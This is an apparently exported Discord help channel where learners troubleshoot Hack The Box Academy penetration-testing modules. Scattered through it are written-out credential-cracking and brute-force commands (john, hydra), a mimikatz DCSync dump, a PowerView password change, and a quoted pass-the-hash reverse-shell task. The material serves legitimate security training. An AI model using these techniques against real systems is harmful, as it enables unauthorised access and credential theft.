#modules

1 messages · Page 354 of 1

cloud urchin
#

Pretty sure that error just means the account can't use winrm

viral mica
#

ahhh nevermind my question I solved it

rich galleon
viral mica
#

I just needed to start an elevated shell in anyway i wanted to.

rich galleon
#

i think i get it, will try

cloud urchin
# rich galleon please, i need a hint

That whole module is a direct walkthrough. That error, I think, is just saying the user isn't authorized to use WinRM.. that's it. Check the module it should walk you through it.

rich galleon
round mesa
#

.

civic steeple
#

hello, i'm in Introduction to Active Directory,AD Administration: Guided Lab Part I. The instructions say to drill down into the directory but when i'm logged into the computer on AD, there are no folders. Am i missing something??

Screenshot_2024-11-20_210958.png Screenshot_2024-11-20_211005.png
dark hedge
dapper moth
#

Should be “Users and Computers”

civic steeple
#

this look right?

Screenshot_2024-11-20_211314.png
cloud urchin
dapper moth
#

I have a question…. Does all XXE resort to DTD? Is there any way of exploiting it with something other than Doctype?

civic steeple
#

ok now i got it, thank you

cloud urchin
normal sand
#

Module: Attacking Web Applications with Ffuf
Section: Skills Assessment - Web Fuzzing
Link to section: https://academy.hackthebox.com/module/54/section/511

I've already completed this module, however, I'm just revisiting it to go through the skills assessment. The request rate seems to be quite slow. I've been having trouble since yesterday. Is it just me? The target is publicly accessible at 94.237.57.106:50556, so if you could try the same command and let me know I'd appreciate it. Thanks!

SPOILER_image.png
HTB Academy : Cybersecurity Training

Login to HTB Academy and continue levelling up your cybsersecurity skills.

dapper moth
limber river
#

recheck the module

viral snow
#

Has anyone here embarked on the new Active Directory Pentest Path? If so, I could some help.

I'm in Active Directory BloodHound - Edges.

The instructions said to use PowerView to change Rosy's password using the Grace account.

I was able to successfully change the password, as instructed.

The instructions then said I can RDP to SRV01 using Rosy account.

I've used xfreerdp, Remmina, and rdesktop, but none of them work.

Any advice?

normal sand
#

Also, I'm facing the low request rate issue even when I specify the host header.

limber river
normal sand
# limber river you can use threads to make it faster

My mistake, I was wrong, apparently the command I'd run last night was vHost fuzzing and not Sub-domain kek

It's suddenly fast enough without having to forcefully increase the threads or request rate, must've been some network issue yesterday. Thanks!

slender pulsar
#

Hi, I want purchase a subscription to learn secure code..but before that I need to confirm...is hackthebox will have the option to see the source code for each box and module?

fathom pendant
#

No

#

Some modules have a source code and stuff, but you won't get the exact setup of the lab

slender pulsar
#

Got it ... Thanks a lot.

ebon jasper
#

hi everyone! Is there anyone using academy htb? is it only me or anyone else getting 404 error for API attack modules ip address?

storm elk
#

Have you tried adding the bit from your section to the url?

clever cosmos
#

Hey guys! I was troubleshooting with ricky earlier but things remain the same for the bruteforcing module. On the website section as well as the skill assessment 2 question there is just no way for me to ssh to the boxes. Direct connection from host machine or pwnbox wont work. Keep getting ‘Host key verification failed’

#

Tried resetting the target, used different pc, used pwnbox, set thet specified port. Nothing works.

ebon jasper
#

Did you mean http:// ? yes I tried

storm elk
ebon jasper
#

ooh let me try

clever cosmos
ebon jasper
storm elk
storm elk
clever cosmos
#

Thx a bunch 🫶🏻

storm elk
clever cosmos
#

Correct!

storm elk
#

Maybe ssh from the host is not what you’re supposed t do for Q2

celest sigil
#

hello wondering if anyone can give me a hint on this one. Working on Windows Privilege Escalation > Weak Permissions : Escalate privileges on the target host using the techniques demonstrated in this section. Submit the contents of the flag in the WeakPerms folder on the Administrator Desktop.

clever cosmos
storm elk
#

What is the section name exactly

celest sigil
#

I've used rdp to get connected to the desktop - my next step is to log into the administrator desktop correct?

storm elk
clever cosmos
#

Yes, that section, I’ll dm you

storm elk
#

Thanks. I’ll be at my pc in about 90 min

cloud urchin
#

or i think you can try ssh -o StrictHostKeyChecking=no user@<ip>

chrome furnace
#

What PDF are you talking about? Are there any mention on the module Credential Hunting in Windows to read some PDF file?

wooden seal
#

Footprinting (SMB) How do we know it was a linux machine(refering to last question). Hint said linux doesnt have c:\ drive what was the sign or something to tell its linux machine not windows (Thanks in adv.)

cloud urchin
chrome furnace
#

How do you access the All Users directory? I can't find such a thing

#

Aside from powershell history when using findstr command, can't find any leads to answer Q4 and Q5 of Credential Hunting in Windows. Any tips?

midnight galleon
visual umbra
white shadow
#

I'm questioning if I should continue to pursue ethical hacking or cybersecurity as a career path

It is overwhelmingly hard

I'm also wondering if AI won't soon take over this field

#

They already have some AI models that can find 0 day exploits

midnight galleon
#

windows priv esc skill assessment 1
i found valid clsid but still get COM -> recv failed with error: 10038

green minnow
#

Why not be the person using the AI?

midnight galleon
hasty mauve
#

In CPTS Password Attacks Module, Protected Archives section.

The practice question is to crack a zip file called Notes.zip
But when I run john it just quits and does nothing

glitch@debian:~/practice$ sudo john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 OpenMP threads
Note: Passwords longer than 21 [worst case UTF-8] to 63 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
0g 0:00:00:00 DONE (2024-11-21 11:39) 0g/s 23513Kp/s 23513Kc/s 23513KC/s (79knock)..*7¡Vamos!
Session completed.
#

It's even a fresh install because the last one gave me some issues where john wasn't able to identify some hash types.
in this one it does identify the hash type clearly because it displays Loaded 1 password hash (PKZIP [32/64])
But why doesn't it crack it?

woeful lake
#

If you look up at the top of the page, at right you have resource boton, they give you a list of possible users and passwords

hasty mauve
hasty mauve
#

I even wrote my own python script to crack it and used it with both lists and it did not work 😲

#

I created my own encrypted zip file and use my script on it and it worked.

#

the problem must be in the zip file itself.

midnight galleon
woeful lake
hasty mauve
#

I'm examining my python code to make sure it works before I blame the zip lol.
It worked on my zip file but with my own wordlist which contains the password and is short.
I'm now testing it with rockyou.txt as my file as ASCII format while rockyou is UTF-8 so maybe I have to do some modifications on it.

#

I'll see if specifying the mode in john makes any difference

#

but how to do that lol? never had to specify any modes to john

#

there's no mode flag

storm elk
#

thanks @deft lily

deft lily
#

couldnt @ moderator

#

also i put in the verify command and get blocked

storm elk
#

There's a role for it to ping any mod/admin (Serious rule break)

woeful lake
#

I think they also use the fasttrack dicctionary at /usr/wordlists

#

But i dont remember exactly

left hamlet
#

Hello y'all good hackers?

hasty mauve
# woeful lake O yeah my bad, i thougt you use hashcat

I figured it out, I was opening the file with utf-8 encoding, then I was encoding it again when providing it to the zip library lol.

I don't know how it worked for my zip file but not for the provided one.
I fixed that and used the mutated list and it worked, no john needed

storm elk
cyan coral
solar pecan
#

Hey guys any tip regaring Attacking Enterprise networks - Web Enumeration Exploitation on this question?

image.png
#

I found the XSS vulnerability

nimble tangle
#

I

#

NEED HELP

# 
ERROR 2026 (HY000): TLS/SSL error: self-signed certificate in certificate chain ```
#

i cannot find any useful solution online

storm elk
nimble tangle
#

it says uknown variable

#

it worked with --disable-ssl

#

thank you i found solution in this thread !

storm elk
#

awesome 🙂

fervent iris
#

i have the following situation:

1- i have openVPN running with ip 10.10.14.117.
2- running a kali VM with NAT mode.
3- performed rdp connection to a windows machine.
4- created a simple python server inside Kali using python -m http-server --bind 0.0.0.0 to allow connections on all interfaces (port 8000 by default).

issue: i can ping my openVPN IP address from within the windows machine using ping 10.10.14.117. but i can't access the python simple server using 10.10.14.117:8000.

what i'm i understanding wrong about networks here?

tranquil axle
#

is there a firewall in place preventing outgoing connections to high/suspicious ports?

fervent iris
#

ah ur asking if there is a rule preventing connections

tranquil axle
#

I'm not sure in which environment you are testing but there are for example prolabs that have a firewall implemented that doesn't allow connecting to suspicious ports, so your ping may reach your host but not a connection on port 8000, but 80 would work for example

fervent iris
fervent iris
#

so i'm sure there are no fire walls or something

tranquil axle
#

hm okay, not sure why that wouldn't work then, thats a standard case that I use all the time

#

I dont use the --bind parameter (because it binds on 0.0.0.0 by default I think) but beyond that we do the same thign

fervent iris
#

to be sure, the browser is supposed to work on the labs right? because i tried to access the server via the firefox browser on the windows target

tranquil axle
#

yea that should work too, or you can try via powershell with the command I posted above

fervent iris
fervent iris
inner folio
#

Hi guys, I have a question. A few months ago I bought the academy's $500 silver membership.

I'm afraid I won't be able to finish all the modules in time, and I don't want to buy the subscription again.

if I sign up for all the modules, without completing them. Once my subscription expires, will I be able to access those modules?

fathom pendant
#

You only maintain access to modules you complete 100% under the annual plan

#

Modules you unlock via cubes are yours in perpetuity

hoary pulsar
#

Anyone here done with Introduction to Sliver C2? Module: Probing the Surface

tranquil axle
hoary pulsar
#

Can I dm you sir?

tranquil axle
#

I think you can also just message here, no?

hoary pulsar
#

aight, just a quick Q, you've done SQL injection to identify the db user?

tranquil axle
#

I tried it that way but couldn't get the answer they wanted. I ended up analyzing the web app on the disk to identify which user they use for the database interactions

hoary pulsar
#

ahh I see, thanks!

dawn topaz
#

7Using Julio's hash, perform a Pass the Hash attack, launch a PowerShell console and import Invoke-TheHash to create a reverse shell to the machine you are connected via RDP (the target machine, DC01, can only connect to MS01). Use the tool nc.exe located in c:\tools to listen for the reverse shell. Once connected to the DC01, read the flag in C:\julio\flag.txt.

unique ether
#

Here

dim shale
#

Thanks. This is the command I'm using:
gobuster vhost -u http://94.237.59.180:45571 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 200 --append-domain
Are you saying I should also add a --domain inlanefreight.htb flag to it?

unique ether
#

This my memory

#

Use the hash

frosty star
#

Hello I m strugling with Pen test wifi module final assesment question 3.Connect to the WiFi network and submit the flag found at IP 192.168.1.1 or 192.168.2.1.

I m not ableto connect there I have name of network and pass too but I m not able to connect through GUI or even through CLI ...do ya have any sugestions please??

solid quarry
half solstice
#

Hello, Im currently stuck on the Information Web Gathering Edition module for DNS Zone Transfers and when attepting to preform a zone transfer as stated in the module, i.e. "dig axfr @ns1.inlanefreight.com inlanefreight.htb" OR "dig axfr @ns1.inlanefreight.com inlanefreight.com". It returns that no servers oculd be found and the connection refused. I did try it with those servers IPs which also didn't work, tried exploring forums and doing some self reserach online and cannot seem to find a helpful step in the right way for this module

acoustic owl
half solstice
#

It does say htb, although when preforming a dig on the inlanefreight.htb it wont return any valid results, even with the A parameter for IPv4

acoustic owl
half solstice
#

Oh okay, I had an oversight there with the phrasing of that question, thank you

undone plaza
#

@everyone hello yall just got mass pinged lol

solid quarry
#

lol

acoustic owl
dapper moth
wicked sapphire
#

Good Morning guys, hope yall having a wonderful day i just start learning and i reach Learning Progress in the Learning process module final question is kinda piss me off cuz i answered and i said incorrect answer its about What is the difference between the two numbers of the learning progress mentioned above and i did answer it everytime said my answer is wrong

#

my answer was : The difference between the two numbers, ( 1.00 ) 365 = 1.00 (1.00) 365 =1.00 and ( 1.01 ) 365 = 37.7 (1.01) 365 =37.7, highlights the power of consistent, incremental improvement over time.

urban elk
wicked sapphire
urban elk
#

check the hint

wicked sapphire
#

it said 37.7 - 1.00

urban elk
#

which is ?

lusty thicket
acoustic owl
wicked sapphire
urban elk
#

I can imagine you being even more pissed off that that was the question and answer, wouldn't blame you. I guess the author just needed something to give the cubes back to you, and indeed in such a module it's hard to come up with something with an exact answer

#

what did you try ?

wicked sapphire
#

Breakdown: ( 1.00 ) 365 = 1.00 (1.00) 365 =1.00: This represents no change or progress. Multiplying the same value (1.00) every day for 365 days results in no growth. ( 1.01 ) 365 = 37.7 (1.01) 365 =37.7: By improving by just 1% (0.01) each day, the cumulative effect over 365 days leads to a 37.7-fold increase. this the first one that i tried

#

the second one was this : The difference between the two numbers,
The difference between the two numbers, ( 1.00 ) 365 = 1.00 (1.00) 365 =1.00 and ( 1.01 ) 365 = 37.7 (1.01) 365 =37.7, highlights the power of consistent, incremental improvement over time.

urban elk
#

I didn't make myself clear. The answer boxes in HTB Academy will look for an exact match to the answer. So if the recorded answer is "abc" and you reply anything other than "abc", it will be marked incorrect

wicked sapphire
#

that's the thing dude, there will be a million way to answer and still as you said the answer is already recorded

acoustic owl
urban elk
#

there will be a million ways to write what you are writing above, yes. Which should be a clue towards the fact that you're overthinking this

wicked sapphire
#

the person who was responsible for this question he wasn't clear on how we can asnwer the question

urban elk
#

Lets remove context. What is the difference between 5 and 2 ?

wicked sapphire
urban elk
#

ok

wicked sapphire
#

thank you so much for the help anyway i will probably skip it for now

tranquil axle
#

"difference" is the mathematical term for the result of subtraction. so the difference between 5 and 2 is 3

acoustic owl
wicked sapphire
chrome furnace
#

Is this the right wordlist to use against the hash of Notes.zip file "/usr/share/john/password.lst"? Also how long does it take to finish?

acoustic owl
#

From which module?

chrome furnace
wicked sapphire
#

basically the answer was : 36.7

lusty thicket
wicked sapphire
#

the problem was how you can answer the question adding only numbers not letters to the answer

acoustic owl
chrome furnace
acoustic owl
#

For this reason, please ALWAYS specify the module name and the section. 😉

#

A tool is mentioned in the module. Use this tool to get the password you are looking for.

chrome furnace
#

As of now, its been an hour and jtr using this wordlist "/usr/share/john/password.lst" is still on the process of cracking the hash of the file.

#

Is the wordlist that I'm using the correct one?

acoustic owl
#

By the way, you will be provided with a list in this module. It will be mutated at some point. In most cases, one of these lists is the correct list. But in this case, you don't need any of the lists.

rose charm
#

hi guys i have just started the shels and payloads modulu i am now on the reverse shell section but the target wont spawn and reccomendations on what to do ?

#

never mind i spawned it for a 4th time now and it spawned

chrome furnace
chrome furnace
spare current
#

Guys, which tier 3 offensive module would you recommend? I’ve accumulated 500.

chrome furnace
#

I was able to transfer logins.json to pwnbox. But it seems like lazagne.exe cant be run on pwnbox or am I wrong?

burnt spruce
#

hi guys, i have a question. What component of a report should be written in a simple to understand and non-technical manner?

acoustic owl
acoustic owl
chrome furnace
acoustic owl
chrome furnace
#

ill try the .py version and run it on pwnbox

acoustic owl
#

why on the pwnbox?

#

Do you want to hack yourself?

#

PwnBox is your Machine

chrome furnace
#

wdym, should I run the lazagne on ssh connection?

acoustic owl
chrome furnace
#

I thought I needed to establish full fledged shell to execute/run executables against the target.

acoustic owl
#

If you log in with SSH, you have a shell.

chrome furnace
acoustic owl
chrome furnace
#

is it or it depends?

acoustic owl
#

Then why FTP or SMB?

chrome furnace
#

okay

acoustic owl
#

But that has nothing to do with the module.

chrome furnace
#

let me just try your suggestion first

alpine summit
#

Hi, has anyone done the HtB academy windows lateral movement module. I'm stuck on the skills assessment? Thanks in advance

chrome furnace
#

tried running it on ssh session against the target

#

Does anyone know what type of encryption exactly the encrypted credentials in firefox saved passwords use? I know its AES but there's a lot of AES modules for hashcat.

#

since I already have logins.json and can see that actual encrypted credentials, maybe I can just crack it using hashcat?

wanton mica
#

Hello everyone, in the Windows Privilege Escalation Skills Assessment (Pt. 1) I’m able to get initial foothold, but am STRUUUUGGGLING to get priv esc. I’ve tried PrintSpoofer, and tried JuicyPotato with MULTIPLE CLSIDs but keep getting the 10038 error. Even tried the GetCLSID.ps1 script to find some on the machine….to no avail. Could someone point me in the right direction?

rose charm
#

hi im currently trying to da reverse shell in pwn box via a windows rdp that i connectin pwnbox but the rdp windows target cannot send traffic to my pwnbox maybe i have the wrong ip but i did ip -a to find out my pwnboxes local ip but it dosent seam to work any help maybe ? im new to this thanks : )

#

thr module is shells and payloads

cloud ginkgo
#

Im join my friend

acoustic owl
chrome furnace
rose charm
#

ok i figured it out so the problem was that i want typing in the vpn ip but the local ip rookie mistake

acoustic owl
#

Not only Garfield likes Lazagne 😉

midnight granite
#

Hey everyone.

#

Need some help. I'm stuck on the Linux Priv esc, logrotate module.

acoustic owl
#

What exactly is not working?

wide moth
#

Hi, could anybody help me with Skill Assessment in Advanced Deserialization Attacks? I've got SecureAuth.DevToken and try to use gadget for JSON.Net. Am I on the right way? I cant use ObjectDataProvider as it is forbidden, it seems. Another gadgets from yoserial-c# didn't help me

heavy edge
#

i really have no idea why this isnt working

#

but its a common thing after some research

normal sand
heavy edge
normal sand
heavy edge
#

idk why but pv wont import properly

#

everything else will

normal sand
#

You using the latest PowerView?

heavy edge
#

yes sir

#

the only one i can download is 3.0.0

normal sand
heavy edge
#

that worked i love you

raw hornet
#

Hi ! Good day!

#

Can you help me please? I'm in HTB DACLs I module, I'm in Password Abuse section, I'm stuck on the last part, abusing Marcos' account to get the gMSA of the htb-svc$ account to get the contents of the flag.txt file, I already have the hash of the htb account, I tried to connect with pth-winexe, with psexec, winrm, crackmapexec, and others, but it refuses the connection, then I try to do pth with mimikatz but to run it I need to access as administrator, but I don't have those credentials. What should I do to get that flag, or what am I doing wrong? Thanks for your help.

loud dagger
#

hey do i have to worry about my vm crashing when i'm using john or a similar password cracker? i think i dedicated 4 gb of ram and 4 processors to the vm

limpid hemlock
#

Hey in the introduction to windows evasion static analysis section i dont see a a C/tools directory to safely put the payload i want to encrytp and all anyone any help ?

bright coral
limpid hemlock
#

Ah they gave me a ip i rdp'd into that

safe star
bright coral
limpid hemlock
safe star
limpid hemlock
bright coral
limpid hemlock
#

So if there are differnt targets like each taget should contain a tools folder right

#

Since we need an tools folder that isnt check by defender to initialy put our malicious code and compiler it right

bright coral
limpid hemlock
#

Oh that wasnt mentiomed there

bright coral
paper gust
#

i dont think we have anything in hashcat for that right now

#

but if you have some example data we could potentially add it if its something that we can work on

#

that said, i think most of that browser data is encryped via DPAPI

#

or in the case of some of the sqlitedbs, i think it's sqlcipher with a few different ways for it to be keyed

teal sparrow
#

htb academy not giving me a mark as complete option refreshed and everything still not appearing?

#

nvm im autistic i didnt enter the question answer

solar pecan
#

Hey guys any tip regaring Attacking Enterprise networks - Web Enumeration Exploitation on this question?

I found an XSS vulnerability and tried to some paylaods.. and reverse shells or get files but no luck.. Any tip ?

image.png
analog dock
#

It says idor

rustic sage
#

So I am doing the wifi pentesting academy module and I have finished pretty much every part, but I can't figure out how to connect to the wifi network. I've found the SSID and the necessary password, and I have tried connecting over the terminal as well. I made sure to use the correct configuration (WPA2) but no matter what I do I keep getting the same error. Does anyone have a solution this, or any hints from someone who has completed this module? I'm not sure if i;m the only one whos encountered this problem.

clear coral
#

So does anyone know the reason (If there is one) some people get this output when trying to use SMBmap?

$ smbmap -H 10.129.167.7 -v    

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 0 authenticated session(s)                                                          
[+] 10.129.167.7     is running Windows 6.1 Build 0 (name:ATTCSVC-LINUX) (domain:ATTCSVC-LINUX)
[*] Closed 1 connections
raw hornet
#

Can you help me please? I'm in HTB DACLs I module, I'm in Password Abuse section, I'm stuck on the last part, abusing Marcos' account to get the gMSA of the htb-svc$ account to get the contents of the flag.txt file, I already have the hash of the htb account, I tried to connect with pth-winexe, with psexec, winrm, crackmapexec, and others, but it refuses the connection, then I try to do pth with mimikatz but to run it I need to access as administrator, but I don't have those credentials. What should I do to get that flag, or what am I doing wrong? Thanks for your help.

digital crown
#

Module: SQL injection fundamentals
Part: assesment
I have question about initial Access. I dont know what to do, I discovered union injection but that brings me nowhere. Its output isn't readable and have no idea where could i write/read from

teal sparrow
#

is it just impossible to use -A and -D RND:5 together in nmap ? im tryna use it on the lab and it just fails when i try to use them both

shut vapor
#

Both options generate some serious traffic.

heavy edge
#

SO

#

I JUST FINISHED IT

image.png
#

this means that i can cancel the sub and i still get access to it and any changes made correct

shut vapor
#

yes, that's what they say.

heavy edge
#

Hmm it seems too ood to be true

shut vapor
#

Yea I wondered if that includes lab access as well. I imagine it does, but that's the only part that seems like a great deal.

#

Once you've learned the content though I can't imagine someone revisiting the labs regularly enough to cost too much on their side.

heavy edge
#

exactly i will have to go over some stuff a few times as well

rustic sage
digital crown
rustic sage
digital crown
shut vapor
#

As in the content doesn't change all that often? Right, that's what I'm thinking. It doesn't cost them anything to allow access to the reading material. People spinning up resources could cost them, but you only get so much out of the labs at a certain point.

heavy edge
#

there were two updates to BF logins

limpid eagle
#

Hi, I am a beginner to the HTB and i just started the Module SOC. trying to do a SOC module and In a question it says "navigate to http://[Target IP]:5601, " How do i navigate to it ? The instruction are not clear, Pasting in web browser does not work. How do i do complete this task ? ⁠

dark hedge
wanton mica
quasi wave
#

hi I am stuck on question 3 of pass the hash section on password attacks module. I've gotten David's login info and NTLM hash but its not letting me authenticate with him.

#

in the spoiler I posted evidence that I did in fact do this

teal sparrow
#

sudo ncat -nv --source-port 53 10.129.87.1 50000
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
libnsock mksock_bind_addr(): Bind to 0.0.0.0:53 failed (IOD #1): Address already in use (98)
Ncat: TIMEOUT.

why do i get this error firewall evasion lab nmap - hard

Ncat - Netcat for the 21st Century

Ncat is a free, open-source Netcat replacement for Linux, Windows, OS X and more. TLS/SSL encryption, proxy support, IPv6, Lua scripting.

quasi wave
#

so that's not David's password on dc01 and the hash is clearly not the right hash

#

so I'm confused

#

because when I enter the hash in question 3 it shows it is the wrong answer

teal sparrow
analog dock
quasi wave
# analog dock What is question 3?

Connect via RDP and use Mimikatz located in c:\tools to extract the hashes presented in the current session. What is the NTLM/RC4 hash of David's account?

#

so that hash should be the right hash

#

do I need to use Invoke-TheHash?

#

because that's not working either

analog dock
#

Can you try lsadump::dcsync?

#

I believe that’s what I usually use

quasi wave
# 
mimikatz # lsadump::dcsync
[DC] 'inlanefreight.htb' will be the domain
[DC] 'DC01.inlanefreight.htb' will be the DC server
ERROR kuhl_m_lsadump_dcsync ; Missing user or guid argument```
#

do I need to switch it to local?

quasi wave
#

I tried a few variations on that

analog dock
quasi wave
#

ok

# 
mimikatz # lsadump::dcsync /user:Administrator
[DC] 'inlanefreight.htb' will be the domain
[DC] 'DC01.inlanefreight.htb' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
ERROR kull_m_rpc_drsr_getDCBind ; RPC Exception 0x00000005 (5)```
#

does same thing

#

its weird I thought I had it

#

what am I doing wrong?

analog dock
#

I don’t have notes on this module

quasi wave
#

makes no difference

analog dock
#

Ohh wait

analog dock
quasi wave
#

this worked I think hold on

#

yay it worked

analog dock
woeful lake
#

I dont remember, but meaby you have to dump the pass sam or cache

analog dock
#

With your first command I was fixated on lsadump::

#

Glad you got it now

woeful lake
#

Noice

heavy edge
#

i will say this. The AEN is fun. i couldnt get thru it by myself so im gonna go back after a few months and try again. but like man. AEN really was fun

acoustic sparrow
#

Cube sale blackfriday 🙏 pls

woeful lake
#

What mod 3 y recommend

solar briar
#

Idk if this is the right place to ask this but im new here so hi:)) ive created an account using my university email and i was wondering if i can still access the material presented in the modules (following a job path rn) after the email will not be available anymore or when i will stop the student subscription. Any ideas? Cause otherwise i would like to make some notes since the material is really cool :))

wanton mica
#

Hello everyone, in the Windows Privilege Escalation Skills Assessment (Pt. 1) I’m able to get initial foothold, but am STRUUUUGGGLING to get priv esc. I’ve tried PrintSpoofer, and tried JuicyPotato with MULTIPLE CLSIDs but keep getting the 10038 error. Even tried the GetCLSID.ps1 script to find some on the machine….to no avail. Could someone point me in the right direction?

quasi wave
#

how do this is also for pass the hash section of password attacks module

#

I can't RDP in as mark

#

do I need to use david's hash to log in via pass the hash into dc01 too?

#

I can't RDP in as julio either

#

this is for question 4 of the module

#

now I have David's hash

#

do I not need to do it from within Windows?

gray yacht
quasi wave
#

do I do it from Linux box?

analog dock
#

What’s the question

gray yacht
quasi wave
gray yacht
quasi wave
#

ok

gray yacht
quasi wave
#

ok wait

gray yacht
quasi wave
#

I am

gray yacht
#

Well maybe try a different tool.

quasi wave
#

hold on I'm logged in as julio

#

ok I'm not able to log in as julio either

#

just opens powershell. will try more soon this coffee shop is closing

civic steeple
#

hello,

heavy perch
#

I'm doing the hacking wordpress module and up to enumerating for plugins with wpscan, however I don't have an api key and it seems it won't do plugins without it?

cloud urchin
heavy perch
#

Kinda stink that the module requires creating an account with a third party service to complete it

cloud urchin
#

pretty sure you can still do it without that if you know how, but wpscan is an amazing tool that you'd want to sign up for anyway.

#

@quasi wave please do not spoil content, you can ask your question without revealing info like that

near tinsel
#

anyone done the cicada machine?

#

need help on where to start

cloud urchin
near tinsel
cloud urchin
near tinsel
#

got it thanks

snow quartz
#

Hi. I'm working on Footprinting. I've got an issue when I'm finishing the Footprinting Lab - Medium level. Here's what I've done so far

  • Found ||*sa * credentials in the alex's directory||
  • Log into the MSSQL server management using ||both found password and the default password||
  • It seems that I couldn't be able to log into the MSSQL server management
    Is there any steps or hints that I could be missed so far? thanks in advance
SPOILER_image.png
fading seal
cloud urchin
safe star
snow quartz
fading seal
safe star
snow quartz
loud dagger
#

ok so hydra for some reason just is not working with rdp

#

i accidentally found the correct credentials with metasploit and when i use them individually it works fine but when i use the provided username and password wordlists i watch it try the correct credentials in real time and then tell me they're not valid

cloud urchin
loud dagger
#

hydra -L username.list -P password.list rdp://[target ip]

#

crackmapexec fails entirely for some reason and i'm about to see if medusa works

#

i'm just reading the docs because i have no idea how to actually use it yet

cloud urchin
#

hydra works for me so idk, maybe a different version

#

make sure its up to date

loud dagger
#

nope did not work

cloud urchin
#

maybe try crowbar too, great fast tool

#

make sure the password and username are actually in those lists

#

should work

loud dagger
#

i used hydra for ssh earlier in the module and it worked fine

cloud urchin
#

why does the host end in .1

#

what is the target you're attacking

loud dagger
#

10.129.62.1

cloud urchin
#

that's the spawned target ip?

loud dagger
#

yep

#

doesn't work after resetting the target either

cloud urchin
#

that ip doesn't seem right .1 is usually the gateway

#

if you included the module and section it would help immensly, all i can say is that it worked for me

loud dagger
#

password attacks - network services

#

it's clearly not an issue with the target IP because it works when i just give it the credentials

#

and i cracked the passwords for winrm, ssh, and smb just fine

cloud urchin
#

no i mean, they don't spawn ending in .1 that i've seen. that's generally a reserverd IP for the gateway for the vlan.

loud dagger
#

oh yeah i agree but i don't think that's the issue

cloud urchin
#

do you have that target spawned right now that ends in .1?

loud dagger
#

i'm currently resetting the target

cloud urchin
#

my guess is you missed the last character or something

loud dagger
#

i was copy and pasting directly from hackthebox

#

and again it worked just fine with the same ip with three other network protocols

cloud urchin
#

yeah but it's not a valid ip

loud dagger
#

i know but that doesn't explain why only hydra wasn't working on only rdp only under those specific conditions

wooden seal
wooden seal
cloud urchin
loud dagger
#

yep same here

#

okay good to know it's not a me issue

cloud urchin
#

i have notes showing hydra worked before, so maybe something changed with the box. might want to report in #1234357888114364508

loud dagger
#

will do

#

interestingly crowbar isn't working either but the metasploit smb_login module accidentally found the credentials for rdp

cloud urchin
#

my notes show hydra so i think i used crowbar for ssh bruting

loud dagger
inner folio
loud dagger
#

what the fuck

#

ok so i'm running a hydra scan that's projected to take 8 hours at maximum speed but the machines have a maximum uptime of 6 hours. what do i do

wooden seal
#

Footprinting (SMB) How do we know it was a linux machine(refering to last question). Hint said linux doesnt have c:\ drive what was the sign or something to tell its linux machine not windows. how to tell if it's windows or linux coz after enumerating i got C:\ drive but hint pointed towards it was linux and i m confused lol

safe star
#

Shouldn’t take that long

loud dagger
#

as in it shouldn't be taking 8 hours or it's normal for it to say it's going to take 8 hours and then take significantly less time than that

safe star
#

It shouldn’t take more than an hour to get the answer

loud dagger
#

alright i'll try again tomorrow

robust quartz
#

In footprinting lab - hard skill assessment, why the snmpv3 port can be accessed with community string? (Ive scanned the version of snmp port and it said snmpv3). I need explanation

#

I mean why the snmpv3 port can be accessed with snmpwalk v2c?

fathom pendant
robust quartz
#

Owwhhh. I just found out about that, thank you sm.

chrome furnace
fathom pendant
#

If there's no salt, it's not required

#

But it would be embedded in the hash

chrome furnace
fathom pendant
#

Why do you care about the salt?

chrome furnace
fathom pendant
#

Also it's asking for the root user, not cry0l1t3

#

How are you gonna crack a password without the salt?

chrome furnace
#

its not about the who the user is. Do I need to specify the salt in hashcat or its embedded already on the hash itself?

fathom pendant
chrome furnace
#

alright

fathom pendant
#

Also the hash wouldn't start with $

#

$ is just a delimiter

chrome furnace
fathom pendant
#

Rule 1: don't overthink

#

If it doesn't tell you you need xyz extra thing then don't concern yourself with it

#

Like ordering a burger and saying you also want the ingredients that are already part of a burger

chrome furnace
# fathom pendant Rule 1: don't overthink

As much as I dont want to. There must be some variations on the exam meaning there will be more than one path to take in order for you to gain something. Yes for CTFs thats the way but on the exam and real world I think that is not the case.

chrome furnace
frosty star
#

Hello guys regarding Wi-Fi Penetration Testing Basics - Skills Assessment module last question: Connect to the WiFi network and submit the flag found at IP 192.168.1.1 or 192.168.2.1.
HOW 😄
I ve done ping, curl and nothing

acoustic owl
frosty star
fathom pendant
#

If you want a dive, look at the example hashes on hashcat wiki

ebon jasper
#

Hi ! Can someone help me
I am in API attack module's Broken Object Property Level Authorization section.
Module said nothing about Product ID how I am supposed to finish second question of fifth section?

Screenshot_From_2024-11-22_15-25-10.png Screenshot_From_2024-11-22_15-25-03.png
#

Hint says to focus 2 endpoint. Using first endpoint I've created customer order, but to use second order I need Product ID and I can not find it

obsidian heart
#

hello can anyone help me in Attacking Wi-Fi Protected Setup - Skills Assessment What is the WPS PIN for the WiFi network named HackTheBox-Corp? i try all the possible attack and not working

chrome furnace
#

Why is it whenever I transfer a shadow.bak file to pwnbox it has no filename or a blackout filename?

#

Is it due to file protection system on the target machine? Or its about the way how I transfer sensitive files?

#

Why is it that any .bak file I created on pwnbox has blacked out filename?

#

even on ls -la the .bak file I create is blacked out

#

how can I use unshadow if every .bak file on pwnbox has blacked out filename?

#

nvm.. was able to fix it by changing permissions

glacial sparrow
#

post your question

chrome furnace
#

is rockyou the right wordlist when cracking unshadowed.hashes?

